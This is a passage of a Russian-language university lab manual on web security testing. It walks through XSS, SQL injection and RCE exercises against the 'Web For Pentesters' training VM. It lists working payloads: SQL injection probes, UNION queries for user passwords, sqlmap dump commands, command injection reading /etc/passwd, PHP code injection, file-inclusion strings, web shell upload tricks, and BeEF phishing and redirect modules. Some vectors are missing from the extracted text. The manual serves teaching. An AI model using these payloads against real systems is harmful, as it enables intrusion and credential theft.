Лабораторный практикум по основам анализа защищенности веб-прил. Практикум по основам анализа защищенности вебприложений
Скачать 1.08 Mb.
|
Hello,ClickMe … … Постановка задачи Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS. Последовательность действий Шаг 1. Скачать образ « Web For Pentesters » с веб-сайта www.pentesterlab.com Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение. 37 Шаг 2. Перейти по ссылке « XSS → Example 1 ». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор Шаг 3. Перейти по ссылке « XSS → Example 2 ». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор Убедиться, что слово script фильтруется. Ввести вектор Шаг 4. Перейти по ссылке « XSS → Example 3 ». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор Убедиться, что слово cript> Шаг 5. Перейти по ссылке « XSS → Example 4 ». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор 38 Убедиться, что слово Убедиться, что слово alert вырезается корректно. Ввести вектора Шаг 7. Перейти по ссылке « XSS → Example 6 ». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора ";alert(1);" . Убедиться, что никакого HTTP-запроса не отправляется. Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке « XSS → Example 1 ». В качестве значения параметра name ввести вектор Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузе- ре и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты: − «Create Alert Dialog»; − «Redirect Browser», перенаправив пользователя на сайт http://evil.com; − «Clickjacking»; − «Clippy»; − «Fake Notification Bar»; − «Google Phishing»; − «Pretty Theft». 40 Вопросы и задания 1. Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com. 2. Выполнить несколько заданий по поиску уязвимостей к ата- кам XSS на сайте escape.alf.nu. 3. Выполнить несколько заданий по поиску уязвимостей к ата- кам XSS на сайте prompt.ml. Поиск уязвимостей к атакам SQL-injection Цель работы Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection. Краткие теоретические сведения Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL. Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы СУБД в обход логики веб-приложения. В зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак SQL-injection [17]: − классическая; − «слепая» типа boolean-based; − «слепая» типа time-based; − error-based; − вложенная; − фрагментированная. Рассмотрим примеры базовых тестов, обнаруживающих уязвимость параметра id к атаке SQL-injection: 41 − http://www.test.app.com/index?id=1' − http://www.test.app.com/index?id=1" − http://www.test.app.com/index?id=1' order by 1000 − http://www.test.app.com/index?id=1"-- − http://www.test.app.com/index?id=1'/* − http://www.test.app.com/index?id=1"# − http://www.test.app.com/index?id=1 and 1=1-- − http://www.test.app.com/index?id=1 and 1=2— − http://www.test.app.com/index?id=1' and '1'='1 − http://www.test.app.com/index?id=1' and '1'='2 Постановка задачи Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection. Последовательность действий Шаг 1. Скачать образ « Web For Pentesters » с веб-сайта www.pentesterlab.com Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение. Шаг 2. Перейти по ссылке « SQL injections → Example 1 ». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: − sqli/example1.php?name=root' − sqli/example1.php?name=root" − sqli/example1.php?name=root'%201=1 − sqli/example1.php?name=root'%201=1# − sqli/example1.php?name=root'%201=1%20— − sqli/example1.php?name=root'%201=1%20/* − sqli/example1.php?name=root'%20'1'='1 − sqli/example1.php?name=root'%20'1'='2 − sqli/example1.php?name=root'%23sqli Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Выполнить следующую ко- манду: 42 # python sqlmap.py –p name ––dmbs=mysql ––dump –u http://IP_address/sqli/example1.php?name=root Просмотреть результаты работы программы, просмотреть полу- ченные данные из базы данных. Шаг 2. Перейти по ссылке « SQL injections → Example 2 ». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: − sqli/example2.php?name=root%20and%201=1 − sqli/example2.php?name=root'%09and%09'1'='1 − sqli/example2.php?name=root'%09and%09'1'='2 − sqli/example2.php?name=root'%2b%2b' Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить- ся, что в данном случае он не смог идентифицировать уязвимый параметр. Шаг 3. Перейти по ссылке « SQL injections → Example 3 ». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: − sqli/example3.php?name=root%20and%201=1 − sqli/example3.php?name=root'/**/and/**/'1'='1 − sqli/example3.php?name=root'/**/and/**/'1'='2 − sqli/example3.php?name=root'%2b%2b' Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить- ся, что в данном случае он не сможет идентифицировать уязвимый параметр. Шаг 4. Перейти по ссылке « SQL injections → Example 4 ». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: 43 − sqli/example4.php?id=2 − sqli/example4.php?id=2' − sqli/example4.php?id=2" − sqli/example4.php?id=1%2b1 − sqli/example4.php?id=0%2b2 − sqli/example4.php?id=3-1 Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду: # python sqlmap.py –p id ––dmbs=mysql ––dump –u http://IP_address/sqli/example4.php?id=1 Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария. Шаг 5. Перейти по ссылке « SQL injections → Example 5 ». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: − sqli/example5.php?id=2 − sqli/example5.php?id=2' − sqli/example5.php?id=2" − sqli/example5.php?id=1%2b1 − sqli/example5.php?id=0%2b2 − sqli/example5.php?id=3-1 Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду: # python sqlmap.py –p id ––dmbs=mysql ––dump –u http://IP_address/sqli/example5.php?id=1 Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария. Шаг 6. Перейти по ссылке « SQL injections → Example 5 ». Проанализировать логику функционирования веб-приложения. 44 Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: − sqli/example6.php?id=2 − sqli/example6.php?id=2' − sqli/example6.php?id=2" − sqli/example6.php?id=1%2b1 − sqli/example6.php?id=0%2b2 − sqli/example6.php?id=3-1 − sqli/example6.php?id=5-3 Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария. Шаг 7. Перейти по ссылке « SQL injections → Example 5 ». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса: − sqli/example7.php?id=2 − sqli/example7.php?id=2' − sqli/example7.php?id=2" − sqli/example7.php?id=1%2b1 − sqli/example7.php?id=3-1 − sqli/example7.php?id=2%0Aand%201=1 − sqli/example7.php?id=2%0Aand%201=2 − sqli/example7.php?id=2%0A%23sqli Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД: − sqli/example7.php?id=2%0Aunion%20select%201 − sqli/example7.php?id=2%0Aunion%20select%201,2 − sqli/example7.php?id=2%0Aunion%20select%201,2,3 − sqli/example7.php?id=2%0Aunion%20select%201,2,3,4 45 − sqli/example7.php?id=2%0Aunion%20select%201,2,3,4, 5 − sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users Ручными методами получить данные из базы данных. Просмотреть исходный код PHP-сценария. Вопросы и задания 1. С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных. 2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection. 3. Для веб-приложения, уязвимого к атаке SQL-injection и ис- пользующего для хранения данных СУБД MySQL, получить со- держимое служебной базы данных INFORMATION_SCHEMA. Поиск уязвимостей к атакам RCE Цель работы Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам RCE. Краткие теоретические сведения Remote Code Execution (RCE) – это собирательный термин, обозначающий класс атак, приводящих к выполнению произвольного кода веб-приложением. Атаки данного класса возможны из-за недостаточной обработки веб-приложением пользовательских входных данных, пересекающих границу доверия. Как правило, выделяют следующие основные разновидности атак RCE [18]: − загрузка произвольных файлов (Unrestricted File Upload); − использование локальных файлов (Local File Inclusion); − внедрение кода (Code Injection); 46 − выполнение команд (Command Injection). Постановка задачи Выполнить идентификацию и эксплуатацию уязвимостей к атакам RCE. Последовательность действий Шаг 1. Скачать образ « Web For Pentesters » с веб-сайта www.pentesterlab.com Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение. Шаг 2. Перейти по ссылке « Code Injection → Example 1 ». Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение ';&"\/#|*() Просмотреть сообщение об ошибке. Изучить документацию PHP по функции eval() . Ввести последовательно значения 123"."456 и "./*123456*/". В качестве доказательства наличия уязвимости ввести значение ".system('uname -a');" Шаг 2. Перейти по ссылке « Code Injection → Example 2 ». Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение ';&"\/#|*() Просмотреть сообщение об ошибке. Изучить документацию PHP по функциям create_function() и usort() . Ввести последовательно значения id;}// и id);}// . В качестве доказательства наличия уязвимости ввести значение id);}system('whoami');// Шаг 3. Перейти по ссылке « Command Injection → Example 1 ». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1 Просмотреть вывод приложения. В качестве значения переменной ip ввести 127.0.0.1;uname%20-a;whoami;cat%20/etc/passwd 47 Шаг 4. Перейти по ссылке « Command Injection → Example 2 ». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1;whoami Просмотреть вывод приложения. В качестве переменной ip ввести значение 127.0.0.1%0acat%20/etc/passwd Шаг 5. Перейти по ссылке « Command Injection → Example 3 ». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1;whoami Просмотреть вывод приложения. Запустить сетевой анализатор. Повторить запрос. Будет выполнено перенаправление на ресурс example3.php?ip=127.0.0.1 , но в то же время HTTP-ответ с кодом 302 будет содержать вывод команды whoami . Это означает, что приложение уязвимо к атаке Execution After Redirect (EAR). Ввести переменной ip ввести значение 127.0.0.1;cat%20/etc/passwd Просмотреть содержимое файла /etc/passwd в HTTP-ответе. Шаг 6. Перейти по ссылке « File Include → Example 1 ». Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение ';&"\/#|*() Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение /etc/passwd . Это означает, что приложение уязвимо к атаке LFI. Просмотреть содержимое. В качестве переменной page ввести значение http://gmail.com . Это означает, что веб- приложение уязвимо к атаке Remote File Inclusion (RFI). В веб-браузере перейти по адресу https://pentesterlab.com/test_include.txt и просмотреть полученный в ответе PHP-код. В качестве значения переменной 48 page ввести https://pentesterlab.com/test_include.txt Просмотреть и проанализировать результаты. Шаг 7. Перейти по ссылке « File Include → Example 2 ». Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение ';&"\/#|*() Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение /etc/passwd . В данном случае к введенному имени файла добавляется расширение «php». В качестве переменной page ввести значения /etc/passwd%00 и https://pentesterlab.com/test_include.txt%00 Просмотреть и проанализировать результаты. Шаг 8. Перейти по ссылке « File Upload → Example 1 ». Проанализировать логику функционирования веб-приложения. Подготовить файл shell.php со следующим PHP-кодом: Загрузить файл на сервер. Отправляя запросы виды /upload/images/shell.php?cmd=whoami, возможно выполнять произвольные команды на сервере с правами пользователя, от имени которого запущен веб-сервер. Выполнить несколько ко- манд, просмотреть и проанализировать результаты. Шаг 9. Перейти по ссылке « File Upload → Example 2 ». Проанализировать логику функционирования веб-приложения. Подготовить файл shell.php со следующим PHP-кодом: Загрузить файл на сервер. Убедиться, что приложение не допуска- ет загрузку файлов с расширением «php». Переименовать файл shell.php в shell.php.cats или shell.php3 . Загрузить файл, |